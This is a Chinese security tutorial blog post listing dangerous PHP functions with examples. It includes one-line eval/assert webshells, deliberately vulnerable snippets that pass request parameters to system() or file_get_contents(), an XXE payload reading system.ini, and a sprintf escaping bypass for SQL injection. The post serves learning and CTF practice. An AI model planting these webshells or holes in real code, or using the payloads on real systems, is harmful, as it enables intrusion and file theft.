php常見的危險函式

春告鳥發表於2022-03-11

程式碼執行的危險函式

  • eval() 把字串作為php程式碼執行

早期php一句話木馬都用這個

<?php @eval($_POST['shell']);?>

  • assert() 檢查一個斷言是否為false,將字串作為php程式碼執行

同樣經常被用作一句話木馬

<?php assert(@$_POST['shell']); ?>

  • preg_replace() 執行正規表示式的搜尋和替換


當匹配模式/e時,該函式會將$replacement作為php程式碼執行

preg_replace("/test/e",$_GET["shell"],"just test");

  • create_function() 建立一個匿名函式

跟python的lambda語句類似,在php7.2.0後被廢棄

$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');

  • array_map() 為陣列的每個元素應用回撥函式

array_map()函式將使用者自定義的函式作用到陣列中的每個值上,並返回使用者自定義函式作用後帶有新值的陣列,這裡相當於一種動態呼叫

<?php
    $func=$_GET['func'];
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
?>

  • call_user_func() 把第一個引數作為回撥函式呼叫,其他引數是回撥函式的引數
<?php 
    @call_user_func("assert",$_GET['cmd']);
?>

  • call_user_func_array() 呼叫回撥函式,並將第一個陣列引數作為回撥函式引數
<?php
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    @call_user_func_array("assert",$array);
?>

  • array_filter() 使用回撥函式過濾陣列的元素

依次將陣列中的每個值傳遞到callback函式,如果callback函式返回true,則陣列的當前值會被包含在返回的結果陣列中,陣列的鍵名保留不變

<?php 
    $cmd=$_GET['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
?>

命令執行的危險函式

  • system() 執行外部程式,並顯示輸出

<?php
    system($_GET['cmd']);
?>

  • exec() 執行外部程式

<?php 
    echo exec("whoami");
?>

  • shell_exec() 通過shell環境執行命令,並將完整的輸出以字串的方式返回
<?php 
    echo shell_exec("whoami");
?>

  • passthru() 執行外部程式並且顯示原始輸出
<?php 
    passthru("whoami");
?>
  • proc_open() 執行一個命令,並且開啟用來輸入/輸出的檔案指標
  • pcntl_exec() 在當前程式空間執行指定程式
  • popen() 開啟程式檔案指標
  • 反引號,實質上還是呼叫的shell_exec()函式,在CTF題目裡面有的時候會忘記過濾導致直接拿到flag

檔案包含的危險函式

php中包含的函式一共有四個,主要作用為包含並執行指定檔案

  • require() 函式
  • inclue() 函式
  • require_once() 函式
  • include_once() 函式

include()require_once()主要的區別是:include()在包含的過程中如果出現錯誤,會丟擲一個警告,程式繼續執行;而require()函式出現錯誤時,會直接報錯並退出程式的執行

require_once()include_once(),顯然表示的是檔案只包含一次的意思,避免函式重定義和變數重新賦值等問題

檔案包含還分為了本地檔案包含和遠端檔案包含,這裡就不再進行贅述

當被包含檔案可控的情況下,我們可以包含任意檔案,從而達到GetShell的目的,也可以使用filter偽協議讀取檔案內容,關於php偽協議會在後面的文章進行介紹

SSRF的危險函式

  • file_get_contents()
  • fsockopen()
  • curl_exec()
  • fopen()
  • readfile()
  • ...
    函式使用不當會造成SSRF漏洞

利用的相關協議:

  • file協議: 在有回顯的情況下,利用file協議可以讀取任意的內容
  • dict協議: 洩露安裝軟體版本資訊,檢視埠,操作內網redis服務等
  • gopher協議: gopher支援發出GET,POST請求,可以通過抓包然後構造成gopher協議的請求
  • http/s: 探測內網主機存活

一個簡單的file_get_contents()案例

<?php
    $url = $_GET['url'];;
    echo file_get_contents($url);
?>

直接在本地環境上測試了,使用file協議讀一下system.ini檔案

XXE的危險函式

XXE指XML外部實體注入

當允許引用外部實體時,通過構造惡意內容,就可能導致任意檔案讀取,系統命令執行,內網埠探測,攻擊內網網站等危害

這類漏洞可以根據危險函式逆推回去,危險函式有:

  • simplexml_load_string() 轉換形式良好的 XML 字串為 SimpleXMLElement 物件,然後輸出物件的鍵和元素
  • asXML()
  • simplexml_load_file()
  • simplexml_import_dom()
  • ...

本地搭建一個存在XXE的環境

<?php 
    error_reporting(0); //禁用外部實體注入 設定為false 相當於不禁用 
    libxml_disable_entity_loader (false); 
    //php://input ===> post請求體的內容 
    $xmlfile = file_get_contents('php://input'); 
    //exit(-1); 
    //建立一個DOMDocument型別的物件 
    $dom = new DOMDocument(); 
    //loadXML 從字串中讀取,生成一個DOMDocument型別的物件 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    //var_dump($dom); 
    //exit(-1); 
    //把一個DOMDocument型別的物件轉發成一個simpleXML型別的物件 
    $creds = simplexml_import_dom($dom); //因為存在SIMPLEXMLelement存在__toString__魔術方法, //因此可以直接列印 
    echo $creds; 
?>

payload為

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [ 
<!ENTITY goodies SYSTEM 
"php://filter/read=convert.base64-encode/resource=C:/Windows/system.ini"> ]> 
<creds>&goodies;</creds>

成功讀取base64加密後的system.ini檔案內容

php防禦手段:

設定libxml_disable_entity_loader=TRUE來禁用外部實體

檔案操作相關函式

檔案操作無外乎增刪改查,在不同場景下利用手法不同

  • 增,改 : 寫入shell相關的內容
  • 刪 : 刪除.lock檔案導致CMS重新安裝
  • 查 讀取配置等檔案,拿到敏感資訊
  • ...

檔案操作的函式有很多:

  • unlink() 傳入檔名刪除檔案
  • copy() 複製檔案
  • highlight_file() 對php檔案語法高亮顯示
  • show_source() highlight_file的別名
  • file_get_contents()
  • fopen()
  • parse_ini_file()
  • readfile()
  • fread()
  • ...

敏感資訊的危險函式

  • phpinfo() 輸出關於php配置的資訊
  • getenv() 獲取一個環境變數的值
  • get_current_user() 獲取當前php指令碼所有者的名稱
  • getlastmod() 獲取頁面最後修改的時間
  • ini_get() 獲取一個配置選項的值
  • glob() 尋找與模式匹配的檔案路徑

反序列化危險函式

  • 序列化函式 serialize()
  • 反序列化函式 unserialize()
  • php十六個魔術方法,魔術方法命名是以符號__開頭的
    • __construct() 類的建構函式
    • __destruct() 類的解構函式
    • __call() 在物件中呼叫一個不可訪問方法時呼叫
    • __callStatic() 用靜態方式中呼叫一個不可訪問方法時呼叫
    • __get() 獲得一個類的成員變數時呼叫
    • __set()設定一個類的成員變數時呼叫
    • __isset() 當對不可訪問屬性呼叫isset()或empty()時呼叫
    • __unset() 當對不可訪問屬性呼叫unset()時被呼叫。
    • __sleep() 執行serialize()時,先會呼叫這個函式
    • __wakeup() 執行unserialize()時,先會呼叫這個函式
    • __toString() 類被當成字串時的回應方法
    • __invoke() 呼叫函式的方式呼叫一個物件時的回應方法
    • __set_state() 呼叫var_export()匯出類時,此靜態方法會被呼叫。
    • __clone() 當物件複製完成時呼叫
    • __autoload() 嘗試載入未定義的類
    • __debugInfo() 列印所需除錯資訊

關於如何利用反序列化漏洞,取決於應用程式的邏輯、可用的類和魔法方法。

unserialize的引數使用者可控,攻擊者可以構造惡意的序列化字串。當應用程式將惡意字串反序列化為物件後,也就執行了攻擊者指定的操作,如程式碼執行、任意檔案讀取等

SQL隱碼攻擊的危險函式

  • mysql_query() 傳送一條MySQL查詢
  • mysql_connect() 開啟一個到MySQL伺服器的連結
  • sprintf() 將格式化的字串寫入變數中

sprintf(format,arg1,arg2,arg++)

arg1arg2arg++ 引數將被插入到主字串中的百分號(%)符號處。該函式是逐步執行的。在第一個 % 符號處,插入 arg1,在第二個 % 符號處,插入 arg2,依此類推。

註釋:如果 % 符號多於 arg 引數,則您必須使用佔位符。佔位符位於 % 符號之後,由數字和 "$" 組成。

可以利用sprintf()繞過一些過濾字元的函式,例如在如下場景中

<?php 
    error_reporting(0);
    $name = $_GET['name'];
    $name = mysql_escape_string(stripslashes($name));
    $sql = sprintf("select * from product where name = '$name' and adddate <= '%s' limit 1",date("Y-m-d H:i:s"));
    echo $sql;
?>

我們的單引號被過濾了

可以利用sprintf()的特性吃掉\

  • urldecode() 解碼已編碼的URL字串
  • rawurldecode() 對已編碼的URL字串進行解碼
  • is_numeric() 判斷傳入引數是否為字串

is_numeric()函式存在插入十六進位制字串到資料庫,進而導致SQL二次注入的風險

參考連結

END

建了一個微信的安全交流群,歡迎新增我微信備註進群,一起來聊天吹水哇,以及一個會發布安全相關內容的公眾號,歡迎關注 ?

GIF GIF

相關文章